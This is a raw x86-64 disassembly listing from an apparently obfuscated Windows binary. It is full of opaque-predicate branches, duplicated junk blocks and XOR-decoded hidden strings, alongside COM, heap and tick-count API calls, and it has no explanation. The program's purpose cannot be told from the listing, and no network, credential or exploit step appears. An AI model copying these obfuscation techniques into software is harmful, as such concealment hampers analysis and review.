mov rcx, qword [rsp + 0x140]
movabs rax, 0xa0596f644dfda2a
mov qword [rsp + 0x140], rax
mov rdx, qword [rsp + 0x140]
call fcn.140019f70
mov rsi, rax
movabs rdi, 0xc9e5e40061458c64
xor rdi, qword [rax]
movabs rbx, 0xc8d6d2d9de08f2
xor rbx, qword [rax + 8]
movabs r14, 0xee80e0905841e0bb
xor r14, qword [rax + 0x10]
mov r15, qword [rax + 0x18]
movabs r12, 0xec039e276da56672
mov eax, dword [0x141dc3130]
xor eax, dword [0x141dc3134]
movabs r13, 0x747de76a0c1a2f9
imul eax, eax, 0xdadaa7aa
add eax, 0x35ba7993
cmp eax, 0x4e6c208e
jb 0x140021d46
jmp 0x140021cb3
mov rsi, rdx
shr rsi, 4
xor ebx, ebx
jmp 0x140021c10
xor edx, edx
call rbp
inc rbx
cmp rbx, rsi
je 0x140021a88
lea rax, [rbx + rbx*2]
cmp qword [rdi + rax*8], 0
je 0x140021c04
lea rax, [rdi + rax*8]
mov r8, qword [rax + 8]
mov eax, dword [0x141dc30a0]
add eax, dword [0x141dc30a4]
imul eax, eax, 0x5d1cc1dc
xor eax, 0x638e8050
imul eax, eax, 0xbba3044
cmp eax, 0x43356e11
jb 0x140021c7f
nop word [rax + rax]
mov eax, dword [0x141dc30a8]
sub eax, dword [0x141dc30ac]
xor eax, 0x9dc714fe
imul rax, rax, 0x564644c1
shr rax, 0x3d
xor eax, 0xf944e8da
mov rcx, qword [0x141ddb9a0]
cmp eax, 0x498106ce
jae 0x140021c00
mov rax, qword [0x141ddb9a0]
jmp 0x140021c50
ud2
mov ebp, dword [0x141dc3138]
imul ebp, dword [0x141dc313c]
add ebp, 0x830c6ea
xor ebp, 0x14493d73
mov rax, r15
xor rax, r13
mov rcx, qword [rsi + 0x20]
xor rcx, r12
mov edx, 0x67210944
xor edx, dword [rsi + 0x28]
movzx r8d, byte [rsi + 0x2c]
xor r8b, 0x40
mov qword [rsp + 0x140], rdi
mov qword [rsp + 0x148], rbx
mov qword [rsp + 0x150], r14
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x160], rcx
mov dword [rsp + 0x168], edx
mov byte [rsp + 0x16c], r8b
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x40]
lea r8, [rsp + 0x140]
mov r9d, 0x2d
call fcn.140007470
cmp ebp, 0xb1bc67b0
jbe 0x140021dbd
mov rax, r15
xor rax, r13
mov rcx, qword [rsi + 0x20]
xor rcx, r12
mov edx, 0x67210944
xor edx, dword [rsi + 0x28]
movzx r8d, byte [rsi + 0x2c]
xor r8b, 0x40
mov qword [rsp + 0x140], rdi
mov qword [rsp + 0x148], rbx
mov qword [rsp + 0x150], r14
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x160], rcx
mov dword [rsp + 0x168], edx
mov byte [rsp + 0x16c], r8b
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x40]
lea r8, [rsp + 0x140]
mov r9d, 0x2d
call fcn.140007470
jmp 0x140021cb3
cmp byte [rsp + 0x70], 0x12
jne 0x140022080
lea r13, [rsp + 0x40]
nop dword [rax]
mov eax, dword [0x141dc3148]
add eax, dword [0x141dc314c]
xor eax, 0x6e0073dd
imul eax, eax, 0x420542da
add eax, 0x6454a8f5
cmp eax, 0x641c475a
ja 0x140021dd0
mov rcx, qword [rsp + 0x78]
mov eax, dword [0x141dc3150]
add eax, dword [0x141dc3154]
and eax, 0x27450640
or eax, 0x582af890
xor eax, 0xab209fd1
cmp eax, 0x4f515a3e
nop dword [rax + rax]
mov eax, dword [0x141dc3158]
xor eax, dword [0x141dc315c]
or eax, 0xbffdffbd
imul eax, eax, 0xb2819081
cmp eax, 0xd1931654
ja 0x140021e20
mov rsi, qword [rsp + 0x80]
mov r12, qword [rsp + 0x88]
test r12, r12
je 0x1400220c2
mov qword [rsp + 0x210], rcx
lea rax, [r12 + r12*2]
shl rax, 4
add rax, rsi
mov qword [rsp + 0x138], rax
lea r14, [0x140102f00]
mov rax, rsi
nop dword [rax]
mov ecx, dword [0x141dc3170]
or ecx, dword [0x141dc3174]
imul ecx, ecx, 0x52e10dff
add ecx, 0x4d151b96
and ecx, 0x7b1537b9
cmp ecx, 0x3ba6da2e
jb 0x140021e80
lea rcx, [rax + 0x30]
mov qword [rsp + 0x68], rcx
mov rdi, qword [rax]
mov r13, qword [rax + 0x18]
lea rbp, [rdi + 0x10]
movdqa xmm0, xmmword [rdi]
pmovmskb ecx, xmm0
not ecx
jmp 0x140021ee5
mov rcx, r15
mov rdx, r14
call fcn.140017410
mov ecx, ebx
test al, al
jne 0x140021fe1
test r13, r13
je 0x140021fc6
nop
mov eax, dword [0x141dc3178]
xor eax, dword [0x141dc317c]
cmp eax, 0x25b87591
je 0x140021ef0
test cx, cx
je 0x140021f10
lea ebx, [rcx - 1]
and ebx, ecx
jmp 0x140021f39
movdqa xmm0, xmmword [rbp]
pmovmskb ecx, xmm0
add rdi, 0xfffffffffffffc80
add rbp, 0x10
cmp ecx, 0xffff
je 0x140021f10
mov eax, 0xfffffffe
sub eax, ecx
not ecx
mov ebx, ecx
and ebx, eax
tzcnt eax, ecx
neg rax
imul r15, rax, 0x38
add r15, rdi
add r15, 0xffffffffffffffe0
je 0x140021fc6
dec r13
mov rcx, r15
lea rdx, [0x140102ee0]
call fcn.140017410
nop
mov ecx, dword [0x141dc3180]
sub ecx, dword [0x141dc3184]
xor ecx, 0x2190321
or ecx, 0xdcc66c1e
imul ecx, ecx, 0x7e8b7532
cmp ecx, 0x9a8bed35
ja 0x140021f60
mov cl, 1
mov dword [rsp + 0x38], ecx
test al, al
jne 0x140021fe1
mov eax, dword [0x141dc3188]
and eax, dword [0x141dc318c]
xor eax, 0x430178
and eax, 0x995f817c
xor eax, 0xbe82a659
cmp eax, 0x361fc559
jae 0x140021ed0
mov rcx, r15
mov rdx, r14
call fcn.140017410
jmp 0x140021ed0
mov rax, qword [rsp + 0x68]
cmp rax, qword [rsp + 0x138]
jne 0x140021e80
mov dword [rsp + 0x38], 0
xor edi, edi
mov ebx, 0xafe108eb
lea r13, [rsp + 0x40]
nop dword [rax]
mov eax, dword [0x141dc3190]
xor eax, dword [0x141dc3194]
xor eax, 0x45dd1abc
add eax, 0x6e692589
xor eax, 0xcaee0fb2
cmp eax, 0xb3f05870
jae 0x140022030
lea rcx, [rdi + rdi*2]
shl rcx, 4
add rcx, rsi
call fcn.14000d8d0
nop word cs:[rax + rax]
mov eax, dword [0x141dc3198]
sub eax, dword [0x141dc319c]
imul rax, rbx
shr rax, 0x3f
imul ebp, eax, 0x1612b2e5
lea rcx, [rdi + rdi*2]
shl rcx, 4
add rcx, rsi
call fcn.14000d8d0
cmp ebp, 0xa675210b
je 0x140022030
inc rdi
cmp rdi, r12
jne 0x140021ff0
mov rcx, qword [rsp + 0x210]
jmp 0x1400220d0
mov eax, dword [0x141dc3160]
sub eax, dword [0x141dc3164]
xor eax, 0x9c98235a
add eax, 0xd9bee288
ud2
mov dword [rsp + 0x38], 0
nop word [rax + rax]
mov eax, dword [0x141dc31a0]
sub eax, dword [0x141dc31a4]
or eax, 0x9fda88c9
add eax, 0x84006175
cmp eax, 0xe3cafacb
ja 0x1400220d0
test rcx, rcx
je 0x14002216a
nop word cs:[rax + rax]
mov eax, dword [0x141dc31a8]
xor edx, edx
div dword [0x141dc31ac]
xor eax, 0x19a0a642
or eax, 0xa0124038
xor eax, 0x20d9239f
mov rbx, qword [0x141ddb9a0]
cmp eax, 0x8aafa299
jb 0x140022100
mov eax, dword [0x141dc31b0]
add eax, dword [0x141dc31b4]
imul eax, eax, 0x5bb82ba0
or eax, 0x32187a85
xor eax, 0x42125602
cmp eax, 0xc26a3c58
jae 0x14002215c
mov rcx, rbx
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rbx
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x141dc31b8]
and eax, dword [0x141dc31bc]
add eax, 0x99cab84c
or eax, 0x106c763d
cmp eax, 0x5efe96f2
jae 0x1400221a0
mov rcx, qword [rsp + 0x40]
mov rax, qword [rcx]
call qword [rax + 0x10]
nop word cs:[rax + rax]
mov eax, dword [0x141dc31c0]
and eax, dword [0x141dc31c4]
imul esi, eax, 0xbd188153
add esi, 0xaa823ab9
mov rcx, qword [rsp + 0x40]
mov rax, qword [rcx]
call qword [rax + 0x10]
cmp esi, 0x6440c29b
jb 0x1400221a0
lea rbx, [0x141db9b68]
lea rsi, [rsp + 0x140]
nop word [rax + rax]
mov edi, dword [0x141dc31c8]
xor edi, dword [0x141dc31cc]
and edi, 0x6a1faa2f
xor edi, 0xad3e1eb1
add edi, 0x64d3c1b7
mov r8d, 0xa
mov rcx, rsi
mov rdx, rbx
call fcn.1400de170
cmp edi, 0x5174e2d4
ja 0x1400221e0
cmp byte [rsp + 0x140], 0x12
jne 0x1400223b0
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x100], rax
lea rax, [0x141db30cd]
mov qword [rsp + 0x140], rax
mov rcx, qword [rsp + 0x140]
movabs rax, 0x75c8fad929280cac
mov qword [rsp + 0x140], rax
mov rdx, qword [rsp + 0x140]
call fcn.1400184f0
movabs rcx, 0x1ab547d335f0a15e
xor rcx, qword [rax]
movabs rdx, 0x1a64a3c3fba0a074
xor rdx, qword [rax + 8]
movabs r8, 0xa1a95dd4d8c1d6d
xor r8, qword [rax + 0x10]
mov r9d, 0x4c82282d
xor r9d, dword [rax + 0x18]
movzx eax, word [rax + 0x1c]
mov r10d, eax
xor r10b, 0x2e
shr eax, 8
xor al, 0x11
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rdx
mov qword [rsp + 0x80], r8
mov dword [rsp + 0x88], r9d
mov byte [rsp + 0x8c], r10b
mov byte [rsp + 0x8d], al
lea rcx, [rsp + 0x140]
lea rdx, [rsp + 0x100]
lea r8, [rsp + 0x70]
mov r9d, 0x1e
call fcn.140007470
cmp byte [rsp + 0x140], 0x12
jne 0x140022833
mov rdi, qword [rsp + 0x148]
mov rsi, qword [rsp + 0x150]
mov rbp, qword [rsp + 0x158]
lea rax, [rbp*2]
add rax, rbp
shl rax, 4
add rax, rsi
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 0
mov qword [rsp + 0xa8], 0
lea rcx, [rsp + 0x140]
lea rdx, [rsp + 0x70]
call fcn.1400019a0
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x140], rax
mov qword [rsp + 0x68], rdi
jne 0x1400223d5
nop dword [rax]
mov eax, dword [0x141dc31d8]
xor eax, dword [0x141dc31dc]
imul eax, eax, 0x55ce9b4c
add eax, 0xbf3f9f18
cmp eax, 0xa34dae09
jb 0x140022380
mov r14d, 8
xor r15d, r15d
xor ebx, ebx
jmp 0x1400226e5
mov eax, dword [0x141dc31d0]
imul eax, dword [0x141dc31d4]
xor eax, 0xd3342f9e
add eax, 0xb6c5275f
ud2
movzx eax, byte [0x141ddb9b8]
mov edx, 0x60
xor ecx, ecx
call fcn.1400bf820
mov r14, rax
nop dword [rax + rax]
mov eax, dword [0x141dc31e0]
and eax, dword [0x141dc31e4]
imul rax, rax, 0x3c1179c7
shr rax, 0x3d
imul eax, eax, 0xe8f65e9d
xor eax, 0x551ab61
cmp eax, 0x2a2dee9a
jb 0x1400223f0
test r14, r14
je 0x14002286b
mov rax, qword [rsp + 0x150]
mov qword [r14 + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x140]
movdqu xmmword [r14], xmm0
mov qword [rsp + 0xd0], 4
mov eax, dword [0x141dc31f8]
imul eax, dword [0x141dc31fc]
imul rax, rax, 0x3420f3d7
shr rax, 0x3c
imul eax, eax, 0x9da08e9c
add eax, 0xfc41416a
cmp eax, 0xbe4624be
jbe 0x140022486
mov qword [rsp + 0xd8], r14
mov qword [rsp + 0xe0], 1
mov qword [rsp + 0xd8], r14
mov qword [rsp + 0xe0], 1
nop word [rax + rax]
mov eax, dword [0x141dc3200]
or eax, dword [0x141dc3204]
xor eax, 0x99bf15bc
imul eax, eax, 0xe8c17d07
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movups xmm2, xmmword [rsp + 0x90]
movups xmm3, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x140], xmm0
movaps xmmword [rsp + 0x150], xmm1
movaps xmmword [rsp + 0x160], xmm2
movaps xmmword [rsp + 0x170], xmm3
movups xmm0, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x180], xmm0
movups xmm0, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x190], xmm0
cmp eax, 0xb00bfb12
jbe 0x14002257f
movups xmm0, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x190], xmm0
movups xmm0, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x180], xmm0
movdqu xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movups xmm2, xmmword [rsp + 0x90]
movups xmm3, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x170], xmm3
movaps xmmword [rsp + 0x160], xmm2
movaps xmmword [rsp + 0x150], xmm1
movdqa xmmword [rsp + 0x140], xmm0
jmp 0x1400224a0
mov ebx, 1
lea r15, [rsp + 0x40]
lea r12, [rsp + 0x140]
lea r13, [rsp + 0xd0]
jmp 0x1400225ab
mov rcx, r15
mov rdx, r12
call fcn.1400019a0
mov edi, dword [0x141dc3208]
imul edi, dword [0x141dc320c]
or edi, 0x1102b001
and edi, 0x5586b009
mov rcx, r15
mov rdx, r12
call fcn.1400019a0
cmp edi, 0x788b6a13
ja 0x1400225a0
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x40], rax
je 0x1400226d0
mov rax, qword [rsp + 0xd0]
nop word cs:[rax + rax]
mov ecx, dword [0x141dc3210]
xor ecx, dword [0x141dc3214]
imul ecx, ecx, 0x53ca10f5
or ecx, 0x8024594b
xor ecx, 0xc2c77fd
cmp ecx, 0x6bd034f2
jb 0x140022600
cmp rbx, rax
jne 0x1400226a6
mov edi, dword [0x141dc3218]
and edi, dword [0x141dc321c]
add edi, 0x46b13416
and edi, 0x71a6d20d
xor edi, 0x6b4143ad
mov qword [rsp + 0x20], 0x18
mov r8d, 1
mov r9d, 8
mov rcx, r13
mov rdx, rbx
call fcn.1400fd630
cmp edi, 0x892d60de
ja 0x14002262b
nop word cs:[rax + rax]
mov eax, dword [0x141dc3220]
and eax, dword [0x141dc3224]
imul eax, eax, 0x92eb508f
add eax, 0x42b5320b
cmp eax, 0x543ca6c7
jb 0x140022680
mov r14, qword [rsp + 0xd8]
lea rax, [rbx + rbx*2]
mov rcx, qword [rsp + 0x50]
mov qword [r14 + rax*8 + 0x10], rcx
movdqu xmm0, xmmword [rsp + 0x40]
movdqu xmmword [r14 + rax*8], xmm0
inc rbx
mov qword [rsp + 0xe0], rbx
jmp 0x1400225ab
mov r15, qword [rsp + 0xd0]
mov r14, qword [rsp + 0xd8]
lea r13, [rsp + 0x40]
lea rax, [rbx + rbx*2]
lea rdi, [r14 + rax*8]
nop dword [rax]
mov eax, dword [0x141dc3228]
and eax, dword [0x141dc322c]
imul rax, rax, 0x7b3fa0c9
shr rax, 0x3d
add eax, 0x69cbc477
cmp eax, 0xdf4566fa
ja 0x1400226f0
mov rax, r14
nop word cs:[rax + rax]
mov rdx, rax
cmp rax, rdi
je 0x14002273f
mov rcx, qword [rdx + 0x10]
cmp rcx, 0x80
je 0x14002273f
lea rax, [rdx + 0x18]
cmp rcx, 0x40
jne 0x140022720
mov qword [rsp + 0x218], rdx
nop word [rax + rax]
mov eax, dword [0x141dc3238]
or eax, dword [0x141dc323c]
or eax, 0x25ed240e
imul eax, eax, 0xf1729526
add eax, 0xc6bf64a5
cmp eax, 0x4ae8b675
jb 0x140022750
test rbx, rbx
je 0x1400227f7
xor r12d, r12d
nop dword [rax + rax]
lea rax, [r12 + r12*2]
cmp qword [r14 + rax*8], 0
je 0x1400227c9
lea rax, [r14 + rax*8]
nop
mov ecx, dword [0x141dc3240]
and ecx, dword [0x141dc3244]
add ecx, 0xa3733a9e
or ecx, 0x8a22444f
add ecx, 0x753967a4
cmp ecx, 0xa58d8d9a
ja 0x140022790
mov r8, qword [rax + 8]
mov rcx, qword [0x141ddb9a0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
inc r12
nop dword [rax]
mov eax, dword [0x141dc3248]
or eax, dword [0x141dc324c]
or eax, 0xf9d7bfbf
add eax, 0x53e23185
or eax, 0x2e842c4e
cmp eax, 0xd11d1e91
ja 0x1400227d0
cmp r12, rbx
jne 0x140022780
test r15, r15
je 0x140022a81
mov eax, dword [0x141dc3250]
imul eax, dword [0x141dc3254]
imul eax, eax, 0x9310e7d8
imul rax, rax, 0x6a9ee48b
shr rax, 0x3b
or eax, 0x973be7cb
cmp eax, 0xa7da5b6d
ja 0x140022a6d
jmp 0x140022a42
mov eax, dword [0x141dc3230]
imul eax, dword [0x141dc3234]
or eax, 0x7ab1d9f1
add eax, 0xc46a6d54
and eax, 0xb06e0616
cmp eax, 0x103b52cc
jae 0x140022858
ud2
xor eax, eax
nop word [rax + rax]
ud2
mov eax, dword [0x141dc31e8]
add eax, dword [0x141dc31ec]
xor eax, 0x22021802
and eax, 0x2a16b90a
imul eax, eax, 0x3512a3bc
cmp eax, 0x6e33e6a0
jb 0x140022e6c
jmp 0x140022e44
mov eax, dword [0x141dc3060]
and eax, dword [0x141dc3064]
or eax, 0x57795927
xor eax, 0x4d9cd8c5
imul eax, eax, 0x1740d22c
cmp eax, 0x9fa59cb5
jbe 0x1400228bc
ud2
ud2
mov eax, dword [0x141dc2f08]
sub eax, dword [0x141dc2f0c]
xor eax, 0xa053d40f
add eax, 0xfb045f5
mov qword [rsp + 0x140], 0
cmp eax, 0xfd41b502
jbe 0x140022935
mov qword [rsp + 0x140], 0
jmp 0x1400228fe
mov eax, dword [0x141dc2f10]
imul eax, dword [0x141dc2f14]
xor eax, 0xff0f7760
add eax, 0x7edf2a3d
cmp eax, 0x11a8b3cb
jbe 0x140022963
lea rdx, [rsp + 0x140]
xor ecx, ecx
call qword [sym.imp.oleaut32.dll_GetErrorInfo]
lea rdx, [rsp + 0x140]
xor ecx, ecx
call qword [sym.imp.oleaut32.dll_GetErrorInfo]
mov rcx, qword [rsp + 0x140]
test rcx, rcx
je 0x140022986
mov rax, qword [rcx]
call qword [rax + 0x10]
test r12, r12
je 0x1400229d0
mov rcx, r12
call qword [sym.imp.oleaut32.dll_SysFreeString]
nop word cs:[rax + rax]
mov eax, dword [0x141dc2f18]
imul eax, dword [0x141dc2f1c]
add eax, 0xd8df165a
imul rax, rax, 0x5ad55837
shr rax, 0x3d
imul eax, eax, 0xde2ebf81
cmp eax, 0x6c5a4a27
ja 0x1400229a0
nop word [rax + rax]
mov eax, dword [0x141dc2f20]
sub eax, dword [0x141dc2f24]
xor eax, 0x19be7629
add eax, 0x1ad9a6e4
cmp eax, 0xa25ac4ce
ja 0x1400229d0
test r14, r14
je 0x140022a22
mov rcx, r14
call qword [sym.imp.oleaut32.dll_SysFreeString]
nop dword [rax + rax]
mov eax, dword [0x141dc2f28]
sub eax, dword [0x141dc2f2c]
and eax, 0x66ff4546
add eax, 0xee7ce104
and eax, 0xd8d56604
cmp eax, 0x8a2972b4
ja 0x140022a00
test rsi, rsi
je 0x140022897
mov rcx, qword [0x141ddb9a0]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140022897
mov eax, dword [0x141dc3258]
imul eax, dword [0x141dc325c]
and eax, 0x3f60df8a
imul eax, eax, 0x2e40b031
and eax, 0xe3e45d12
mov rcx, qword [0x141ddb9a0]
cmp eax, 0xb4b49e72
jbe 0x140022a76
mov rax, qword [0x141ddb9a0]
jmp 0x140022a42
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rbp, rbp
je 0x140022aa1
mov rbx, rsi
nop dword [rax]
mov rcx, rbx
call fcn.14000d8d0
add rbx, 0x30
dec rbp
jne 0x140022a90
mov eax, 0xa5ba85fb
nop word cs:[rax + rax]
mov ecx, dword [0x141dc3260]
add ecx, dword [0x141dc3264]
imul rcx, rax
shr rcx, 0x3f
imul ecx, ecx, 0x921619a9
cmp ecx, 0x778dabb5
je 0x140022ab0
cmp qword [rsp + 0x68], 0
je 0x140022b09
mov rcx, qword [0x141ddb9a0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop dword [rax]
mov eax, dword [0x141dc3268]
xor eax, dword [0x141dc326c]
imul eax, eax, 0x239d68f6
cmp eax, 0x6c3f93ec
je 0x140022af0
mov rcx, qword [rsp + 0x100]
mov rax, qword [rcx]
call qword [rax + 0x10]
lea rdx, [0x141db9b68]
lea rcx, [rsp + 0x140]
mov r8d, 0xa
call fcn.1400de170
movzx eax, byte [rsp + 0x140]
nop dword [rax]
mov ecx, dword [0x141dc3270]
or ecx, dword [0x141dc3274]
cmp ecx, 0xee142a82
je 0x140022b40
mov qword [rsp + 0x220], rdi
cmp al, 0x12
jne 0x140022d70
movabs rsi, 0xce61db0488e4ac61
mov eax, dword [0x141dc3278]
xor eax, dword [0x141dc327c]
imul eax, eax, 0xa9588fac
imul rax, rax, 0x35b103dd
shr rax, 0x3d
or eax, 0xdf01da28
lea rdi, [0x141da5a49]
cmp eax, 0x7dfb4527
jae 0x140022bdd
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0x40], rdi
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x40], rsi
mov rdx, qword [rsp + 0x40]
call fcn.1400183f0
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov rcx, qword [rax + 0x10]
mov ecx, dword [rax + 0x18]
movzx ecx, byte [rax + 0x1e]
movzx eax, word [rax + 0x1c]
movabs rbx, 0x26cb94c73b6f670
movabs r14, 0xd9f2e7193deb0e2e
movabs r15, 0x3b35fc1a272137b1
mov ebp, 0x12693661
mov r12d, dword [0x141dc3280]
or r12d, dword [0x141dc3284]
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0x40], rdi
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x40], rsi
mov rdx, qword [rsp + 0x40]
call fcn.1400183f0
mov rcx, qword [rax]
xor rcx, rbx
mov rdx, qword [rax + 8]
xor rdx, r14
mov r8, qword [rax + 0x10]
xor r8, r15
mov r9d, dword [rax + 0x18]
xor r9d, ebp
movzx r10d, word [rax + 0x1c]
movzx eax, byte [rax + 0x1e]
cmp r12d, 0xab4c02c3
je 0x140022c00
shl eax, 0x10
or eax, r10d
shr r10d, 8
mov r11d, eax
xor r11b, 0x53
xor r10b, 0x8a
shr eax, 0x10
xor al, 4
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rdx
mov qword [rsp + 0x80], r8
mov dword [rsp + 0x88], r9d
mov byte [rsp + 0x8c], r11b
mov byte [rsp + 0x8d], r10b
mov byte [rsp + 0x8e], al
lea rcx, [rsp + 0x140]
lea rdx, [rsp + 0xd0]
lea r8, [rsp + 0x70]
mov r9d, 0x1f
call fcn.140007470
cmp byte [rsp + 0x140], 0x12
jne 0x140022df9
mov rdi, qword [rsp + 0x148]
mov rsi, qword [rsp + 0x150]
mov r12, qword [rsp + 0x158]
nop word cs:[rax + rax]
mov eax, dword [0x141dc3290]
add eax, dword [0x141dc3294]
and eax, 0x104a
xor eax, 0x6570d494
cmp eax, 0xc1f865d2
ja 0x140022d00
test r12, r12
je 0x140022da9
xor r14d, r14d
jmp 0x140022d47
shl rbx, 4
add rbx, rsi
inc r14
mov rcx, rbx
call fcn.14000d8d0
cmp r14, r12
je 0x140022da9
mov eax, dword [0x141dc3298]
sub eax, dword [0x141dc329c]
lea rbx, [r14 + r14*2]
cmp eax, 0xa3793997
jne 0x140022d30
mov rcx, rbx
shl rcx, 4
add rcx, rsi
call fcn.14000d8d0
jmp 0x140022d30
mov eax, dword [0x141dc3288]
xor edx, edx
div dword [0x141dc328c]
imul eax, eax, 0xeb77c8fe
add eax, 0x90e5f070
or eax, 0x569b02b3
ud2
test rdi, rdi
je 0x140022dc0
mov rcx, qword [0x141ddb9a0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rsp + 0xd0]
mov rdi, qword [rsi]
mov eax, dword [0x141dc32b0]
and eax, dword [0x141dc32b4]
imul rax, rax, 0x255ec621
shr rax, 0x3d
xor eax, 0xc4800e1
or eax, 0x6235d702
cmp eax, 0x862ee6d5
ja 0x140022eae
jmp 0x140022e70
mov eax, dword [0x141dc32a0]
or eax, dword [0x141dc32a4]
add eax, 0xc50accaa
xor eax, 0x60b89100
or eax, 0x1f432ead
cmp eax, 0x2bfc9962
jae 0x140022e20
ud2
mov eax, dword [0x141dc32a8]
xor eax, dword [0x141dc32ac]
and eax, 0x6002142
add eax, 0xcc4f7bbe
ud2
mov eax, dword [0x141dc31f0]
and eax, dword [0x141dc31f4]
and eax, 0x973aac50
xor eax, 0xabef3eae
add eax, 0x28e73c52
ud2
ud2
mov ebp, dword [0x141dc32b8]
and ebp, dword [0x141dc32bc]
xor ebp, 0xedad78be
add ebp, 0x220c03ed
mov rcx, rsi
call qword [rdi + 0x10]
lea rbx, [rsp + 0x140]
mov rcx, rbx
call fcn.1400da380
mov rcx, rbx
call fcn.1400dac00
cmp ebp, 0x222a7517
jbe 0x140022ece
mov rcx, rsi
call qword [rdi + 0x10]
lea rbx, [rsp + 0x140]
mov rcx, rbx
call fcn.1400da380
mov rcx, rbx
call fcn.1400dac00
jmp 0x140022e70
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0x248], rax
lea rcx, [rsp + 0x140]
call fcn.14000f8f0
lea rsi, [rsp + 0x140]
mov rcx, rsi
call fcn.1400da380
mov rcx, rsi
call fcn.1400dac00
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov qword [rsp + 0x228], rax
mov rcx, rsi
call fcn.14000f8f0
lea rdx, [0x141db9b68]
lea rsi, [rsp + 0x140]
mov r8d, 0xa
mov rcx, rsi
call fcn.1400de170
cmp byte [rsp + 0x140], 0x12
jne 0x1400240e7
mov eax, 0x9a7ecbe7
add rax, 0x45813419
mov qword [rsp + 0x278], rax
nop word [rax + rax]
mov eax, dword [0x141dc32e0]
add eax, dword [0x141dc32e4]
and eax, 0x408482d1
xor eax, 0x808cc339
cmp eax, 0x30c918a0
jb 0x140022f60
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x230], rax
lea rax, [0x141db0340]
mov qword [rsp + 0x140], rax
mov rcx, qword [rsp + 0x140]
movabs rax, 0x5ef731c953b7bdbd
mov qword [rsp + 0x140], rax
mov rdx, qword [rsp + 0x140]
call fcn.140019120
movabs rcx, 0x82ce809100365393
xor rcx, qword [rax]
movabs rdx, 0x4e4f32d8094db61f
xor rdx, qword [rax + 8]
movabs r8, 0x1c5ee0f7aa98bc92
xor r8, qword [rax + 0x10]
movabs r9, 0xa65d8ff2c84c7a37
xor r9, qword [rax + 0x18]
mov r10d, 0xe3db4043
xor r10d, dword [rax + 0x20]
movzx eax, word [rax + 0x24]
mov r11d, eax
xor r11b, 0xea
shr eax, 8
xor al, 0xd0
mov qword [rsp + 0x140], rcx
mov qword [rsp + 0x148], rdx
mov qword [rsp + 0x150], r8
mov qword [rsp + 0x158], r9
mov dword [rsp + 0x160], r10d
mov byte [rsp + 0x164], r11b
mov byte [rsp + 0x165], al
lea r15, [rsp + 0x70]
lea rdx, [rsp + 0x230]
lea r8, [rsp + 0x140]
mov r9d, 0x26
mov rcx, r15
call fcn.140007470
cmp byte [rsp + 0x70], 0x12
jne 0x14001e30e
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x270], rax
mov rcx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x88]
lea rdx, [rax + rax*2]
shl rdx, 4
lea rbp, [rcx + rdx]
mov rdi, rcx
test rax, rax
lea r9, [rsp + 0x148]
mov qword [rsp + 0x260], r12
mov qword [rsp + 0x288], rcx
je 0x140023880
add rdx, 0xffffffffffffffd0
lea r14, [rcx + 0x30]
lea rbx, [0x141dab262]
movabs rsi, 0x4d8eb32cbe97681
lea r12, [rsp + 0x140]
mov rax, rcx
mov qword [rsp + 0x128], rbp
nop word cs:[rax + rax]
lea rdi, [rax + 0x30]
mov rcx, qword [rax]
test rcx, rcx
je 0x140023880
mov qword [rsp + 0x210], rdx
nop dword [rax + rax]
mov edx, dword [0x141dc32f0]
mov r8d, dword [0x141dc32f4]
add edx, r8d
add edx, 0x73d88977
imul rdx, rdx, 0x28bfc1df
shr rdx, 0x3d
imul edx, edx, 0xef8c6aae
mov qword [rsp + 0x140], rcx
mov r8, qword [rax + 0x28]
mov qword [r9 + 0x20], r8
movdqu xmm0, xmmword [rax + 8]
movups xmm1, xmmword [rax + 0x18]
movups xmmword [r9 + 0x10], xmm1
movdqu xmmword [r9], xmm0
mov qword [rsp + 0x70], rbx
cmp edx, 0xe36f9a56
jae 0x1400231b0
mov qword [rsp + 0x140], rcx
mov rdx, qword [rax + 0x28]
mov qword [r9 + 0x20], rdx
movdqu xmm0, xmmword [rax + 8]
movups xmm1, xmmword [rax + 0x18]
movups xmmword [r9 + 0x10], xmm1
movdqu xmmword [r9], xmm0
mov qword [rsp + 0x70], rbx
jmp 0x140023120
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x138], rdi
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x70], rsi
mov rdx, qword [rsp + 0x70]
